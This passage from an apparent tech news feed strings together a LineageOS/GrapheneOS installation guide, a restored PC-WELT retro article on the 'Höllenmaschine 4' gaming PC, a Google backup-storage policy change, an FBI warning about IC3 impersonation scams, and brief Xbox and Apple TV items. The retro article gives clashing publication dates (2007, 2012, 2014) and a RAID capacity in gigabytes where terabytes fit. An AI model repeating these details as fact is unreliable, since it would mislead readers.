Achten Sie unbedingt auf die genaue Modellbezeichnung. Ein Samsung Galaxy S20 ist beispielsweise nicht automatisch mit jeder Variante der Baureihe kompatibel. Hersteller verkaufen häufig mehrere Versionen eines Smartphones mit unterschiedlichen Prozessoren oder Modems.



Unterstützt wird derzeit eine große Auswahl älterer Geräte. Besonders interessant sind dabei natürlich Smartphones, die technisch noch leistungsfähig sind, aber vom Hersteller keine Updates mehr bekommen.



Hinweis zum künftigen Upgrade: Wer jetzt auf LineageOS 23 (Android 16) setzt, muss bei der späteren Veröffentlichung von LineageOS 24 (Android 17) keine Angst vor einem Datenverlust haben. Der Wechsel auf eine neue Hauptversion gelingt in der Regel ohne Werksreset: Statt über den automatischen Updater spielt man das neue Betriebssystem-Image dafür einmalig manuell über die Recovery-Umgebung des Smartphones ein (per sogenanntem ADB-Sideload) – Ihre installierten Apps, Fotos und Einstellungen bleiben dabei erhalten.



Vor der Installation: Diese Punkte sollten Sie beachten



Ein Custom-ROM ist kein gewöhnliches App-Update. Die Installation verändert die komplette Systemsoftware des Smartphones. Deshalb sollten Sie sich anhand der folgenden Checkliste gründlich vorbereiten:




Vollständige Datensicherung: Sichern Sie Fotos, Videos, Kontakte, Dokumente und wichtige App-Daten. Beim anschließenden Entsperren des Bootloaders wird der interne Speicher in der Regel komplett gelöscht.



Zwei-Faktor-Authentisierung (2FA): Denken Sie an Ihre Kontosicherheit. Wer Authenticator-Apps verwendet, muss die Wiederherstellungscodes sichern oder die Konten vorab auf ein anderes Gerät übertragen.



Bootloader entsperren: Damit fremde Software überhaupt starten kann, muss diese herstellerseitige Sicherheitsbarriere geöffnet werden. Der genaue Ablauf unterscheidet sich dabei je nach Smartphone-Modell.



Garantie & Risiken abwägen: Das Entsperren kann Auswirkungen auf die Herstellergarantie oder spezielle Sicherheitsfunktionen haben. Bei älteren Geräten kann man das in der Praxis oft vernachlässigen – trotzdem ist es besser, sich vorab zu informieren.




LineageOS installieren: Der Webinstaller macht es einfacher



Die Installation eines Custom-ROMs bestand lange aus mehreren komplizierten Schritten: Android-Plattform-Tools auf dem Computer installieren, kryptische Befehle über die Kommandozeile eingeben, Dateien manuell übertragen und anschließend Recovery sowie System installieren. Mit den neuen, browserbasierten Lineage Flash Tools hat das Team diesen Prozess deutlich vereinfacht.



Wichtig zu wissen: Das Tool startet nicht automatisch beim Geräte-Download und nimmt Ihnen das Herunterladen der Dateien nicht ab. Stattdessen lädt man das passende Betriebssystem-Image wie gewohnt manuell herunter. Die Lineage Flash Tools dienen dann als komfortabler Ersatz für die von manchen Nutzern gefürchtete PC-Kommandozeile: Sie rufen die Web-Oberfläche des Tools im Browser auf, verbinden Ihr Smartphone per Mausklick via WebUSB (unterstützt von Chrome oder Edge) und können die Installationsdateien direkt über das Browser-Fenster auf das Handy hochladen.


Das neue Werkzeug im Download-Portal: Über den Reiter „Flash Tools“ lässt sich der Installationsmodus (wie hier Fastboot) auswählen, um das per USB verbundene Smartphone direkt über den Browser zu bespielen.
LineageOS 



Das neue Flash-Tool unterstützt verschiedene Verfahren wie Fastboot und ADB sowie bei bestimmten Geräten auch Samsungs Odin-Protokoll. Dadurch sinkt die Einstiegshürde deutlich. Weil das Team die Funktion schrittweise ausrollt und gerätespezifische Besonderheiten bestehen, ersetzt der Webinstaller jedoch nicht den kompletten Weg: Das vorherige, manuelle Entsperren des Bootloaders bleibt oft weiterhin Pflicht.



Ganz ohne Vorbereitung geht es aber weiterhin nicht. LineageOS unterstützt sehr viele unterschiedliche Geräte, und jedes Modell besitzt eigene Besonderheiten. Deshalb bleiben die offiziellen Anleitungen für individuelle Geräte im LineageOS-Wiki weiterhin Pflichtlektüre.



Dort erfahren Sie unter anderem:




welche Dateien für Ihr Smartphone benötigt werden



wie der Bootloader entsperrt wird



welche Recovery-Umgebung verwendet wird



ob zusätzliche Pakete notwendig sind




Wer die Anleitung Schritt für Schritt befolgt, kommt in der Regel zuverlässig ans Ziel. Fehlerhafte Dateien oder falsche Schritte können jedoch dazu führen, dass das Gerät nicht mehr startet – ein sogenannter Soft-Brick.



Praxis-Tipps für die Browser-Installation:




Lokales ADB beenden: Falls Sie bereits die klassischen Android-Entwicklertools auf Ihrem PC installiert haben, müssen Sie vor der Nutzung des Webtools den Befehl adb kill-server in Ihrer Kommandozeile ausführen, um Konflikte zu vermeiden.



USB-Verbindungsfehler lösen: Der Flash-Vorgang erfordert eine hohe Datendurchsatzrate. Sollte der Webinstaller abbrechen oder die Verbindung zum Gerät verlieren, verzichten Sie auf USB-Hubs, Verlängerungskabel oder Adapter. Schließen Sie das Smartphone direkt an den PC an und testen Sie im Zweifel ein anderes USB-Kabel oder einen anderen USB-Port.



Hilfe bei Problemen: Sollte es dennoch haken, bietet die Community offizielle Anlaufstellen für Support auf Reddit, Discord oder im IRC-Channel (#LineageOS auf Libera.Chat).




Google-Dienste oder maximale Freiheit?



Nach der Installation läuft LineageOS zunächst ohne Google-Dienste. Wer den Play Store, Gmail oder Google Maps weiter nutzen möchte, kann zusätzliche Google-Pakete installieren. Eine häufig verwendete Lösung ist MindTheGapps, das speziell für LineageOS angepasst wurde.



Alternativ können Nutzer auf datenschutzfreundlichere Lösungen wie MicroG setzen oder komplett auf Google verzichten und Apps über alternative Quellen beziehen.



Welche Variante sinnvoll ist, hängt vom eigenen Nutzungsverhalten ab. Für viele Anwender ist die Kombination aus LineageOS und Google-Diensten der einfachste Weg, während Datenschutz-Fans einen anderen Weg wählen können.



GrapheneOS: Die Speziallösung für Pixel-Nutzer (Android 17)



Neben LineageOS gibt es mit GrapheneOS eine weitere bekannte Android-Alternative. Der Ansatz ist allerdings ein anderer: Während LineageOS möglichst viele Geräte unterstützt, konzentriert sich GrapheneOS ausschließlich auf Google-Pixel-Smartphones.



Der Grund dafür sind die speziellen Sicherheitsfunktionen der Pixel-Hardware. GrapheneOS nutzt unter anderem den abgesicherten Bootvorgang und hardwarebasierte Schutzmechanismen, die auf anderen Geräten nicht in gleicher Form verfügbar sind.



Das System richtet sich vor allem an Nutzer mit besonders hohen Datenschutzanforderungen. Google-Dienste sind nicht fest integriert, können aber über eine isolierte Umgebung (Sandboxed Google Play) trotzdem verwendet werden.



Auch GrapheneOS setzt schnell auf neue Android-Versionen und hat Android 17 bereits als Basis integriert. Aufgrund eines anfänglichen Android-17-Bugs beim manuellen Sideloading über das Recovery-Menü sollten Nutzer hier beim Umstieg oder Update jedoch unbedingt auf den offiziellen Webinstaller oder automatische OTA-Updates setzen. Für den normalen Smartphone-Alltag abseits der Pixel-Welt bleibt LineageOS jedoch die deutlich breiter aufgestellte Lösung, auch wenn es bisher noch auf Android 16 basiert.



Fazit: Ein zweites Leben für ältere Smartphones



Das Ende des Hersteller-Supports bedeutet nicht automatisch das Ende eines Smartphones. Wer ein technisch noch gutes Gerät besitzt, kann mit LineageOS oft mehrere zusätzliche Jahre herausholen.



Die Kombination aus aktueller Android-Version, Sicherheitsupdates und weniger Herstellerballast macht Custom-ROMs heute attraktiver denn je. Gleichzeitig nimmt der neue Webinstaller LineageOS einen Teil seiner früheren Komplexität.



Ganz ohne technisches Interesse geht es zwar weiterhin nicht. Wer sich aber etwas Zeit nimmt und die offiziellen Anleitungen sorgfältig befolgt, bekommt ein modernes Android-System – und verlängert die Lebensdauer seines Smartphones deutlich.




Vier Grafikkarten, sechs CPU-Kerne: So sah vor 14 Jahren die Höllenmaschine 4 aus
Wed, 22 Jul 2026 10:34:12 +0200





Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.



Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der vierten Höllenmaschine:



Die PC-WELT Höllenmaschine 4 repräsentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug für den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.



Das Rückgrat des 22 Kilogramm schweren Cooler Master Cosmos II bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale Lüftersteuerung, Kabelmanagement, Flügeltüren und massig Platz: Das Gehäuse besitzt allein elf Laufwerksschächte für 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.









Airbrush der Höllenmaschine 4



Für das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer Website können Sie sich von den Fähigkeiten der kunstfertigen Casemodder überzeugen. Das preisgekrönte Brüderpaar kümmert sich nicht nur um das teuflische Airbrush und bauliche Veränderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch für die Innenbeleuchtung der Gehäusemodifikation verantwortlich.



Die Gebrüder haben für den schönen Schein einen Multidimmer von Richter eingebaut, der LED-Ketten im Gehäuseinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wählen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.



Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine Wünsche offen lässt: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht Speicherbänke, SATA- und USB-Ports sowie fünfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-Unterstützung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit überwachen lassen.



Prozessor: die schnellste Desktop-CPU der Welt



Der Intel Core i7-3960X ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 läuft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mächtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.



Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-Kanäle gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-Kanäle. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusätzliche Befehlssätze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstützt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.



Die Wasserkühlung Cooler Master Eisberg 240L Prestige gibt die CPU-Abwärme über einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-Lüfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen Lüfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-Kühlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das Kühlsystem schleudert und für mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.



Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI



Um die Grafikdarstellung kümmert sich in der Höllenmaschine 4 die derzeit leistungsfähigste Grafikkarte der Welt, die ASUS GTX690-4GD5. Kostenpunkt: knapp 1000 Euro pro Stück. Die Karte beherbergt mit der Nvidia Geforce GTX 690 gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung übernehmen.


Quad-SLI in der Höllenmaschine 4 mit zwei ASUS GTX690-4GD5
PC-WELT



In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die über eine SLI-Brücke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale Ausgänge.



Ausstattung der Höllenmaschine 4 im Überblick



Komponente Modell Preis (Euro) am 31.8.2012
Gehäuse Casemod auf Basis des Cooler Master Cosmos II 1413
Hauptplatine Asus Rampage IV Extreme, Intel X79, LGA2011 350
Prozessor Intel Core i7-3960X, 3,30 GHz, 6 Kerne, 12 Theads 900
CPU-Kühlung Cooler Master Eisberg 240L Prestige 180
Arbeitsspeicher 8 x 8 GB Adata XPG X Series PC3-17066U 880
Grafikkarte 2 x Asus GTX690-4GD5, Nvidia Geforce GTX 690 2000
Bildschirme 3 x ASUS VG278H, 27 Zoll, 3D-LED-LCD, 1550
SSD (System) OCZ RevoDrive 3 X2 480GB, PCI-Express, 4fach Raid-0 650
Festplatten (Daten intern) 4 x Western Digital VelociRaptor 1000GB, Raid-5 1000
Festplatten (Daten extern) 2 x Western Digital Caviar Green 3000GB 300
Blu-ray-Brenner Asus BW-12B1ST, SATA 100
Netzteil Cooler Master Silent Pro Hybrid 1300W 250
Eingabegerät Logitech G9x Laser Mouse und G19 Gaming Keyboard 200
Lautsprecher-Set Logitech Z906, 5.1 System 250
Headset Logitech G930 Wireless Gaming Headset 150
Betriebssystem Microsoft Windows 7 Ultimate 64 Bit 160
Multimedia-Paket Adobe Creative Suite 6 Design & Web Premium 2000
Spiele-Paket 18 Top-Titel 600
Office-Paket Microsoft Office Professional 2010 400


PC-WELT



Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig



Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm ASUS VG278H zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors beträgt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstützt die Lightboost-Technik und damit natürlich auch Nvidia 3D Vision 2 – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei Videoeingänge sowie einen Kopfhöreranschluss.



Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebündelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lässt: Da kann man zahlreiche Fenster in ihrer vollen Größe geöffnet lassen, und behält dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch für Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu müssen.



Ernsthaften PC-Spielern kann dagegen die Bildschirmgröße nicht groß genug sein – denn sie bedeutet größere Übersicht und ein realistischeres Spielerlebnis. So füllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und Nvidia 3D Vision Surround geht das auch flüssig in stereoskopischem 3D.









Arbeitsspeicher: Quad-Channel mit 64 Gigabyte



Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte Kapazität steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von über 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.



PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green 



Das Betriebssystem und alle Programme dürfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufälligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle würde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.


Die erste SSD in einer Höllenmaschine: OCZ RevoDrive 3 X2
OCZ/Kioxia 



Das interne Backup übernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die Western Digital VelociRaptor WD1000DHTZ. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare Kapazität zur Verfügung.



Die Aufgabe des klassischen Massenspeichers für umfangreiche Foto-, Musik- und Videosammlungen übernehmen die beiden 3,5-Zoll-Festplatten Western Digital Caviar Green 3000GB WD30EZRX. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-Schächten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.









Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene



Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das Cooler Master Silent Pro Hybrid 1300W bietet genügend Reserven, um alle Komponenten zuverlässig mit Energie zu versorgen. Das vollständig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.



Aufgrund der “80 PLUS Gold“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von über 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven Kühlung ist das 1300-Watt-Netzteil aber auch flüsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-Lüftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo für den 130-Millimeter-Lüfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.



Um optische Massenspeicher kümmert sich der Blu-ray-Brenner Asus BW-12B1ST. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gängigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo füllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software für das Backup, Brennen und Abspielen von Blu-rays enthalten.



Peripherie: Luxus-Eingabegeräte und 5.1-Raumklang



Die Logitech G9x Laser Mouse kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrüstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fünf Profile für individuelle Tastatur-Makros und Abtastraten.



Das Logitech G19 Gaming Keyboard besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand für über 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten für den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und überrascht mit einer Kabelführung auf der Unterseite für Maus und Headset.


Logitech



Das THX-zertifizierte Lautsprecherset Logitech Z906 bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos über die Fernbedienung.



Wer nachts die Nachbarn nicht stören darf, greift zum Logitech G930 Wireless Gaming Headset. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang über eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, Geräuschunterdrückung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.



Kreativ-, Spiele- und Office-Paket für 4000 Euro



Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem Windows 7 Ultimate. Für das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-Unterstützung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-Verschlüsselung und dem nützlichen VHD-Boot.



Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight für Kreative ist die Adobe Creative Suite 6 Design & Web Premium. Die „Rundum glücklich“-Lösung für professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthält folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.



Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthält die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.



Und wer die Höllenmaschine im Büroeinsatz unterfordern will, installiert Microsoft Office Professional 2010. Das Paket enthält die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.



Hinweis: Hier endet der Artikel über die Höllenmaschine 4 aus dem Jahre 2014.



So gewinnen Sie die HMX 6



Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:


Gewinnen Sie hier die HMX 6


Wie Sie die HMX 6 verfolgen können



In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.




Google erlaubt Android-Nutzern kein Gratis-Backup mehr: Schonfrist von 45 Tagen
Wed, 22 Jul 2026 10:19:56 +0200





Google wird nun alle Daten von Android-Sicherungskopien auf den Speicherplatz im Google-Konto des Nutzers anrechnen, wie die Seite Engadget berichtet. Bislang wirkten sich lediglich Inhalte in Google Fotos sowie Bilder und Videos in MMS-Sicherungskopien auf das Speicherkontingent aus.



Für neue Android-Nutzer gilt die Änderung seit dem 7. Juli 2026. Für bestehende Nutzer gilt eine Schonfrist von 45 Tagen, bis sie in Kraft tritt. Google informiert Nutzer per Mail dazu:




Wir möchten dich über eine bevorstehende Aktualisierung unserer Speicherrichtlinien informieren. Außerdem führen wir neue Steuerelemente ein, mit denen du deine Android-Sicherungen besser verwalten kannst.



Richtlinienänderung: In 45 Tagen werden alle Daten, die in den Sicherungen deines Android-Geräts enthalten sind, auf das Speicherplatzlimit deines Google-Kontos angerechnet. Fotos und Videos in Google Fotos und MMS-Daten werden bereits jetzt in deinen Google-Kontospeicherplatz einbezogen. Mit dieser Änderung werden auch alle anderen gesicherten Daten wie SMS, Anruflisten, Geräteeinstellungen und App-Einstellungen auf deinen Google-Kontospeicherplatz angerechnet. Nach Inkrafttreten dieser Richtlinie wird deine Gerätesicherung möglicherweise mehr Speicherplatz belegen. Wenn das Speicherplatzlimit deines Google-Kontos überschritten ist, werden automatische Sicherungen pausiert, bis du Speicherplatz freigibst oder dein Abo upgradest.




Laut Google werden die Auswirkungen dieser Änderung recht begrenzt sein. Android-Sicherungskopien werden im Durchschnitt etwa 40 Megabyte zusätzlichen Speicherplatz beanspruchen. Gleichzeitig werden weitere Einstellungen eingeführt, die den Nutzern mehr Kontrolle darüber geben, was gesichert wird.



Zuvor wurde etwa bekannt, dass Android-Nutzer eine wichtige neue Backup-Funktion erhalten, mit der sie selbst entscheiden können, welche App-Daten gesichert werden sollen und welche nicht. Demnächst möchte Google noch einführen, dass Nutzer ihre Geräteeinstellungen, den Anrufverlauf sowie SMS- und MMS-Nachrichten aus dem Sicherungsvorgang ausschließen können.



Es ist erwähnenswert, dass Google im Mai gleichzeitig den kostenlosen Speicherplatz für neue Konten von 15 Gigabyte auf 5 Gigabyte reduziert hat. Es sei denn, der Nutzer verknüpft eine Telefonnummer mit dem Konto.



Je nachdem, wie viele Daten Sie bereits in der Google Cloud gesichert haben, könnte es also eng werden, selbst wenn die Sicherung nur wenige MB groß ist. Oder Sie merken von der Änderung nicht wirklich viel, da Sie ohnehin auf andere Backup-Methoden setzen.



Ein Upgrade auf 100 GB in Google One kostet 1,99 Euro monatlich, 2,99 Euro für 200 GB oder 9,99 Euro monatlich für 2 TB Speicherplatz. Mit enthalten ist auch der Zugriff auf “neue und leistungsstarke Funktionen” in Google Gemini.



Die besten Online-Backup-Dienste im Vergleich: Nie mehr Daten verlieren




FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims
Wed, 22 Jul 2026 10:08:38 +0200
The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated videos, fake social media profiles, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.
The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.

FBI IC3 Scam Targets Previous Fraud Victims
In one version of the FBI IC3 scam, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous scam victims into what the PSA describes as "re-targeting" scams.
After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.
The impersonator may send a link claiming to update an existing IC3 complaint. The link could contain malicious code or collect additional financial information, allowing criminals to further exploit the victim.
In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.

AI-Generated Videos Promote Spoofed IC3 Websites
Another version of the scheme involves AI-generated videos or deepfakes featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.
One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a fake IC3 website. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.
The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.

How to Spot AI-Generated Videos and Fake Messages
The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.
People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.
The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable news sources or known official channels before responding.
IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.
People seeking to file an IC3 complaint should type www.ic3.gov directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.
Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.


'Not sure if I should keep buying games and software from Microsoft': Xbox users are questioning account safety due to ongoing recovery issues, ahead of a disc-less console future
Wed, 22 Jul 2026 10:02:51 +0200
The all-digital future for both Xbox and PlayStation users isn't looking secure, as Xbox users complain over recent account recovery issues.


Apple TV’s The Dink Debuts This Week, Here’s What Critics Are Saying
Wed, 22 Jul 2026 09:18:32 +0200
Apple TV’s new sports comedy from producer Ben Stiller is almost here, and the first reviews suggest that The Dink delivers a light, funny, and familiar underdog story.



When Does The Dink Premiere on Apple TV?



The Dink will premiere globally on Apple TV on Friday, July 24, 2026. The movie runs for 1 hour and 42 minutes and combines sports, comedy, family tension, and an unlikely journey into competitive pickleball.



Jake Johnson leads the cast as Dusty Boyd, a former tennis prodigy who now coaches children at a country club managed by his demanding father, Chuck, played by Ed Harris.

